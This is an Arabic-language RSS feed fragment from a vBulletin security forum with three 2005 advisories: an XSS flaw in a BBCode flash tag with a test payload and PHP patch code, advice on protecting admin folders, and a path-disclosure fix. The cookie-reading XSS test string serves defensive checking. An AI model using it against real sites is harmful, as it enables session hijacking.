$bbcodes['custom']['find']['[flash='] = '#\[flash=(&quot;|"|\'|)(.*)\\1\]([w|W][i|I][d|D][t|T][h|H][=])\\1([0-9]+)\\1[ ]+([h|H][e|E][i|I][g|G][h|H][t|T][=])\\1([0-9]+)\\1\[/flash\]#esiU'; 
$bbcodes['custom']['replace']['[flash='] = "handle_bbcode_normal('\\2', '\\4','\\6', 'flash')"; 
$bbcodes['custom']['recurse']['flash'][0] = array('handler' => 'handle_bbcode_normal'); 

//
---------
4- قم بالبحث عن :

كود PHP:




كود:


Code:
---------
?>
---------
5- قبلها أضف الأسطر التاليه :

كود PHP:





كود:


Code:
---------
// For Magic-Box Added By AL3NDALEEB 
function handle_bbcode_normal($message, $param1 = '', $param2 = '', $type = '' ) 
{ 

// remove empty codes 
if (trim($message) == '' || $type == '') 
{ 
return ''; 
} 

// remove unnecessary escaped quotes 
$message = strip_smilies(str_replace('\\"', '"', $message)); 

if($type == 'poem'){ 

$param1 = str_replace('\\"', '"', $param1); 
$param1 = str_replace('"', '&quot;', $param1); 

// remove smilies from param 
$param1 = strip_smilies($param1); 
$html = '<div tag="'.$param1.'" style="display:none">'.$message.'</div><script>doPoem(0)</script>'; 

}elseif($type == 'frame'){ 

$param1 = str_replace('\\"', '"', $param1); 
$param1 = str_replace('"', '&quot;', $param1); 
$param2 = str_replace('\\"', '"', $param2); 
$param2 = str_replace('"', '&quot;', $param2); 

// remove smilies from param 
$param1 = strip_smilies($param1); 
$param2 = strip_smilies($param2); 
$html = '<div id="myframe" tag="'.$param1.'|'.$param2.'" style="display:none">'.$message.'</div><script>drawFrame()</script>'; 

}elseif($type == 'hr'){ 

$html = '<hr noshade size=1>'; 

}elseif($type == 'grade'){ 

$param1 = str_replace('\\"', '"', $param1); 
$param1 = str_replace('"', '&quot;', $param1); 

// remove smilies from param 
$param1 = strip_smilies($param1); 
$html = '<div id="mygradient" tag="'.$param1.'" style="display:none">'.$message.'</div><script>drawGradient()</script>'; 

}elseif($type == 'flash'){ 
if (!preg_match('#^[a-z]+://#si', $message)){ 
return ''; 
} 
$param1 = intval($param1); 
$param2 = intval($param2); 
$html = '<embed src="'.$message.'" width="'.$param1.'" height="'.$param2.'" quality=high loop=true menu=false TYPE="application/x-shockwave-flash"</embed>'; 
} 

return $html; 
}
---------
 


وبعدين 



6- قم بحفظ الملف ورفعه .

بعد التركيب يجب أن تدخل لوحة التحكم وتدخل على إدارة الـ BBCODE وتمسح رمز الـ FLASH حتى لا يبقى لثغرة الفلاش 

منقول للفائده]]></description>
			<content:encoded><![CDATA[<div>السلام عليكم<br />
<br />
طبعاااااااااا المكتشف::: العندليب<br />
<br />
الثغرة من نووووع xss<br />
<br />
برضة الترقيع نقلته من العندليب<br />
<br />
ابدأأأأأأأأأ<br />
<br />
الثغره موجوده في ثلاثة أزرار وهي زر تنسيق القصيده الشعريه وزر إدراج الـ RealPlayer وز الـ FLASH .<br />
والثغره من نوع Cross Site Scripting وذكرت لكم سابقاً أن النوع من هذه الثغرات إذا تحقق سيتم سرقة الكوكيز من جهاز الضحيه وارسالها الى موقع اخر. حينها سيبدأ الهكر باخذ هذه الكوكيز واستخدامها بجهازه والدخول على منتداك من خلالها .<br />
<br />
سأذكر لكم طريقة التحقق من وجود إحدى هذه الثغرات بمنتداك وهي ثغرة الفلاش لأن الكل يستخدم الصندوق السحري و الماسي<br />
1- قم بفتح موضوع جديد.<br />
2- أدخل أي عنوان للموضوع. <br />
3- في نص الموضوع أدخل الكووود التالي :<br />
<br />
كود PHP:<br />
<br />
[<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">flash=http://www.xxxxxx.com/test.swf]onmouseover='alert(document.cookie);'[/flash]</code><hr />
</div>4- إضغط زر مشاهده قبل الأرسال .<br />
5- الان سيظهر لك معاينه للموضوع قبل الارسال وسيظهر فيها صورة الفلاش . قم بتحريك الفأره على صورة الفلاش وشاهد النتيجه . سيظهر لك مربع تنبيه مكتوب بداخله محتويات الكوكيز الخاصه بك .<br />
<br />
طيب الحين طريقة ترقيع الثغرة<br />
<br />
هذه الطريقه ولا تزعلون <br />
<br />
1- افتح ملف functions_bbcodeparse.php<br />
<br />
2- إبحث عن :<br />
<br />
كود PHP:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">$bbcodes['custom']['recurse']['highlight'][0] = array('replace_html' =&gt; &quot;&lt;span class=\&quot;highlight\&quot;&gt;\\7&lt;/span&gt;&quot;);</code><hr />
</div>3- بعدها قم بإضافة الأسطر التاليه :<br />
<br />
كود PHP:<br />
<br />
<br />
<br />
كود<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">// For Magic-Box Added By AL3NDALEEB <br />
<br />
$bbcodes['custom']['find']['[poem'] = '#\[poe[m](\s|&amp;quot;|&quot;|\'|)(.*)\\1\](&lt;br&gt;|&lt;br /&gt;|\r\n|\n|\r)??(.*)(&lt;br&gt;|&lt;br /&gt;|\r\n|\n|\r)??\[/poe[m]\]#esiU'; <br />
$bbcodes['custom']['replace']['[poem'] = &quot;handle_bbcode_normal('\\4', '\\2', '', 'poem')&quot;; <br />
$bbcodes['custom']['recurse']['poem'][0] = array('handler' =&gt; 'handle_bbcode_normal'); <br />
<br />
$bbcodes['custom']['find']['[frame='] = '#\[frame=(&amp;quot;|&quot;|\'|)([0-9]+)[ ]+([0-9]+)[ ]*\\1\](&lt;br&gt;|&lt;br /&gt;|\r\n|\n|\r)??(.*)(&lt;br&gt;|&lt;br /&gt;|\r\n|\n|\r)??\[/frame\]#esiU'; <br />
$bbcodes['custom']['replace']['[frame='] = &quot;handle_bbcode_normal('\\5', '\\2', '\\3', 'frame')&quot;; <br />
$bbcodes['custom']['recurse']['frame'][0] = array('handler' =&gt; 'handle_bbcode_normal'); <br />
<br />
$bbcodes['custom']['find']['[grade='] = '#\[grade(&amp;quot;|&quot;|\'|)(.*)\\1\](&lt;br&gt;|&lt;br /&gt;|\r\n|\n|\r)??(.*)(&lt;br&gt;|&lt;br /&gt;|\r\n|\n|\r)??\[/grade\]#esiU'; <br />
$bbcodes['custom']['replace']['[grade='] = &quot;handle_bbcode_normal('\\4', '\\2', '', 'grade')&quot;; <br />
$bbcodes['custom']['recurse']['grade'][0] = array('handler' =&gt; 'handle_bbcode_normal'); <br />
<br />
$bbcodes['custom']['find']['[hr]'] = '#\[hr\]#esiU'; <br />
$bbcodes['custom']['replace']['[hr]'] = &quot;handle_bbcode_normal('hr', '', '', 'hr')&quot;; <br />
$bbcodes['custom']['recurse']['hr'][0] = array('handler' =&gt; 'handle_bbcode_normal'); <br />
<br />
$bbcodes['custom']['find']['[line]'] = '#\[line\]#esiU'; <br />
$bbcodes['custom']['replace']['[line]'] = &quot;handle_bbcode_normal('line', '', '', 'hr')&quot;; <br />
$bbcodes['custom']['recurse']['line'][0] = array('handler' =&gt; 'handle_bbcode_normal'); <br />
<br />
$bbcodes['custom']['find']['[flash='] = '#\[flash=(&amp;quot;|&quot;|\'|)(.*)\\1\](width=)\\1([0-9]+)\\1[ ]+(height=)\\1([0-9]+)\\1\[/flash\]#esiU'; <br />
$bbcodes['custom']['replace']['[flash='] = &quot;handle_bbcode_normal('\\2', '\\4','\\6', 'flash')&quot;; <br />
$bbcodes['custom']['recurse']['flash'][0] = array('handler' =&gt; 'handle_bbcode_normal'); <br />
<br />
$bbcodes['custom']['find']['[flash='] = '#\[flash=(&amp;quot;|&quot;|\'|)(.*)\\1\](height=)\\1([0-9]+)\\1[ ]+(width=)\\1([0-9]+)\\1\[/flash\]#esiU'; <br />
$bbcodes['custom']['replace']['[flash='] = &quot;handle_bbcode_normal('\\2', '\\6','\\4', 'flash')&quot;; <br />
$bbcodes['custom']['recurse']['flash'][1] = array('handler' =&gt; 'handle_bbcode_normal'); <br />
<br />
$bbcodes['custom']['find']['[flash='] = '#\[flash=(&amp;quot;|&quot;|\'|)(.*)\\1\]([w|W][i|I][d|D][t|T][h|H][=])\\1([0-9]+)\\1[ ]+([h|H][e|E][i|I][g|G][h|H][t|T][=])\\1([0-9]+)\\1\[/flash\]#esiU'; <br />
$bbcodes['custom']['replace']['[flash='] = &quot;handle_bbcode_normal('\\2', '\\4','\\6', 'flash')&quot;; <br />
$bbcodes['custom']['recurse']['flash'][0] = array('handler' =&gt; 'handle_bbcode_normal'); <br />
<br />
//</code><hr />
</div>4- قم بالبحث عن :<br />
<br />
كود PHP:<br />
<br />
<br />
<br />
<br />
كود:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">?&gt;</code><hr />
</div>5- قبلها أضف الأسطر التاليه :<br />
<br />
كود PHP:<br />
<br />
<br />
<br />
<br />
<br />
كود:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">// For Magic-Box Added By AL3NDALEEB <br />
function handle_bbcode_normal($message, $param1 = '', $param2 = '', $type = '' ) <br />
{ <br />
<br />
// remove empty codes <br />
if (trim($message) == '' || $type == '') <br />
{ <br />
return ''; <br />
} <br />
<br />
// remove unnecessary escaped quotes <br />
$message = strip_smilies(str_replace('\\&quot;', '&quot;', $message)); <br />
<br />
if($type == 'poem'){ <br />
<br />
$param1 = str_replace('\\&quot;', '&quot;', $param1); <br />
$param1 = str_replace('&quot;', '&amp;quot;', $param1); <br />
<br />
// remove smilies from param <br />
$param1 = strip_smilies($param1); <br />
$html = '&lt;div tag=&quot;'.$param1.'&quot; style=&quot;display:none&quot;&gt;'.$message.'&lt;/div&gt;&lt;script&gt;doPoem(0)&lt;/script&gt;'; <br />
<br />
}elseif($type == 'frame'){ <br />
<br />
$param1 = str_replace('\\&quot;', '&quot;', $param1); <br />
$param1 = str_replace('&quot;', '&amp;quot;', $param1); <br />
$param2 = str_replace('\\&quot;', '&quot;', $param2); <br />
$param2 = str_replace('&quot;', '&amp;quot;', $param2); <br />
<br />
// remove smilies from param <br />
$param1 = strip_smilies($param1); <br />
$param2 = strip_smilies($param2); <br />
$html = '&lt;div id=&quot;myframe&quot; tag=&quot;'.$param1.'|'.$param2.'&quot; style=&quot;display:none&quot;&gt;'.$message.'&lt;/div&gt;&lt;script&gt;drawFrame()&lt;/script&gt;'; <br />
<br />
}elseif($type == 'hr'){ <br />
<br />
$html = '&lt;hr noshade size=1&gt;'; <br />
<br />
}elseif($type == 'grade'){ <br />
<br />
$param1 = str_replace('\\&quot;', '&quot;', $param1); <br />
$param1 = str_replace('&quot;', '&amp;quot;', $param1); <br />
<br />
// remove smilies from param <br />
$param1 = strip_smilies($param1); <br />
$html = '&lt;div id=&quot;mygradient&quot; tag=&quot;'.$param1.'&quot; style=&quot;display:none&quot;&gt;'.$message.'&lt;/div&gt;&lt;script&gt;drawGradient()&lt;/script&gt;'; <br />
<br />
}elseif($type == 'flash'){ <br />
if (!preg_match('#^[a-z]+://#si', $message)){ <br />
return ''; <br />
} <br />
$param1 = intval($param1); <br />
$param2 = intval($param2); <br />
$html = '&lt;embed src=&quot;'.$message.'&quot; width=&quot;'.$param1.'&quot; height=&quot;'.$param2.'&quot; quality=high loop=true menu=false TYPE=&quot;application/x-shockwave-flash&quot;&lt;/embed&gt;'; <br />
} <br />
<br />
return $html; <br />
}</code><hr />
</div><br />
وبعدين <br />
<br />
<br />
<br />
6- قم بحفظ الملف ورفعه .<br />
<br />
بعد التركيب يجب أن تدخل لوحة التحكم وتدخل على إدارة الـ BBCODE وتمسح رمز الـ FLASH حتى لا يبقى لثغرة الفلاش <br />
<br />
منقول للفائده</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11574</guid>
		</item>
		<item>
			<title>ثغرات في المجلدات admincp و includes و modcp و install و طريقة ترقيعها</title>
			<link>https://kwety.net/vb/showthread.php?t=11573&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 12:58:56 GMT</pubDate>
			<description><![CDATA[طريقة حماية هذه المجلدات سهلة جدا اضغط هنا و ستجد رابط الموضوع عن كيفية حماية أي مجلد في منتداك و قم بحماية تلك المجلدات أهم شيء أي احميها باسم مستخدم و كلمة مرور و مجلد install الأفضل أن تحذفه بالكامل و عند التطوير تضع مجلد النسخة الجديدة و تسوي install عادي و هذا يرجع لك المهم إما حماية مجلد install أو حذفه و مجلدي admincp و modcp إذا كان يمكن للهاكر تعدي الحماية و اختراقهم فيمكنك بدلا من أن تحميهم أن تغير اسمهم إلى أي اسم مثل ABDFVadmincp حتى لا يعرف المخترق امتداد المجلد و لكن عند تغيير اسم المجلد يجب أن تذهب لملف config.php الموجود داخل ملجد include و تغيير اسمهم منه أيضا و الطريقة كالتالي:

افتح ملف config.php و ابحث عن الكود :


كود php:


Code:
---------
$admincpdir = 'admincp';
---------
و غير اسم admincp إلى الاسم الذي اخترته من قبل للمجلد

و ابحث عن الكود التالي أيضا :

كود php:


Code:
---------
$modcpdir = 'modcp';
---------
و غير اسم modcp إلى الاسم الذي اخترته من قبل للمجلد

وشكرا

منقول للفائده]]></description>
			<content:encoded><![CDATA[<div>طريقة حماية هذه المجلدات سهلة جدا اضغط هنا و ستجد رابط الموضوع عن كيفية حماية أي مجلد في منتداك و قم بحماية تلك المجلدات أهم شيء أي احميها باسم مستخدم و كلمة مرور و مجلد install الأفضل أن تحذفه بالكامل و عند التطوير تضع مجلد النسخة الجديدة و تسوي install عادي و هذا يرجع لك المهم إما حماية مجلد install أو حذفه و مجلدي admincp و modcp إذا كان يمكن للهاكر تعدي الحماية و اختراقهم فيمكنك بدلا من أن تحميهم أن تغير اسمهم إلى أي اسم مثل ABDFVadmincp حتى لا يعرف المخترق امتداد المجلد و لكن عند تغيير اسم المجلد يجب أن تذهب لملف config.php الموجود داخل ملجد include و تغيير اسمهم منه أيضا و الطريقة كالتالي:<br />
<br />
افتح ملف config.php و ابحث عن الكود :<br />
<br />
<br />
كود php:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">$admincpdir = 'admincp';</code><hr />
</div>و غير اسم admincp إلى الاسم الذي اخترته من قبل للمجلد<br />
<br />
و ابحث عن الكود التالي أيضا :<br />
<br />
كود php:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">$modcpdir = 'modcp';</code><hr />
</div>و غير اسم modcp إلى الاسم الذي اخترته من قبل للمجلد<br />
<br />
وشكرا<br />
<br />
منقول للفائده</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11573</guid>
		</item>
		<item>
			<title>ثغرة Path Disclosure في نسخ vBulletin 3.5.0</title>
			<link>https://kwety.net/vb/showthread.php?t=11572&amp;goto=newpost</link>
			<pubDate>Fri, 07 Oct 2005 12:56:50 GMT</pubDate>
			<description><![CDATA[السلام عليكم

ثغره من نوع Path Disclosure ومستواها متوسط وعن طريقها يستطيع المخترق معرفة دليل الموقع موجود بأي مكان على الخادم

الثغره موجوده في ملف class_core.php وبالتحديد في سطر رقم 1365


Code:
---------
foreach ($this->superglobal_lookup AS $arrayname)
            {
                $registry->superglobal_size["$arrayname"] = sizeof($GLOBALS["$arrayname"]);

                foreach (array_keys($GLOBALS["$arrayname"]) AS $varname)
                {
                    unset($GLOBALS["$varname"]);  <<------ تقوم بإزالة المتغيرات من المصفوفه العامه وهنا الخطأ حيث يجب ان تتأكد من المتغير قبل إزالته وكما تلاحظون لا يوجد شرط للتحقق
                }
            }
---------
 

الترقيع:
1- افتح ملف class_core.php وابحث عن السطر التالي 


Code:
---------
unset($GLOBALS["$varname"]);
---------
2- إستبدله بالأتي:


Code:
---------
if( !in_array($varname, $this->superglobal_lookup ))
             unset($GLOBALS["$varname"]);
---------
 

3- إحفظ الملف وقم برفعه.

تحياتي لكم

من شرح أخونا 
العندليب]]></description>
			<content:encoded><![CDATA[<div>السلام عليكم<br />
<br />
ثغره من نوع Path Disclosure ومستواها متوسط وعن طريقها يستطيع المخترق معرفة دليل الموقع موجود بأي مكان على الخادم<br />
<br />
الثغره موجوده في ملف class_core.php وبالتحديد في سطر رقم 1365<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">foreach ($this-&gt;superglobal_lookup AS $arrayname)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $registry-&gt;superglobal_size[&quot;$arrayname&quot;] = sizeof($GLOBALS[&quot;$arrayname&quot;]);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach (array_keys($GLOBALS[&quot;$arrayname&quot;]) AS $varname)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; unset($GLOBALS[&quot;$varname&quot;]);&nbsp; &lt;&lt;------ تقوم بإزالة المتغيرات من المصفوفه العامه وهنا الخطأ حيث يجب ان تتأكد من المتغير قبل إزالته وكما تلاحظون لا يوجد شرط للتحقق<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</code><hr />
</div>الترقيع:<br />
1- افتح ملف class_core.php وابحث عن السطر التالي <br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">unset($GLOBALS[&quot;$varname&quot;]);</code><hr />
</div>2- إستبدله بالأتي:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">كود:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">if( !in_array($varname, $this-&gt;superglobal_lookup ))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  unset($GLOBALS[&quot;$varname&quot;]);</code><hr />
</div>3- إحفظ الملف وقم برفعه.<br />
<br />
تحياتي لكم<br />
<br />
من شرح أخونا <br />
العندليب</div>

]]></content:encoded>
			<category domain="https://kwety.net/vb/forumdisplay.php?f=100">  قسم ثغرات النسخه الثالثه</category>
			<dc:creator>VIP</dc:creator>
			<guid isPermaLink="true">https://kwety.net/vb/showthread.php?t=11572</guid>
		</item>
	</channel>
</rss>
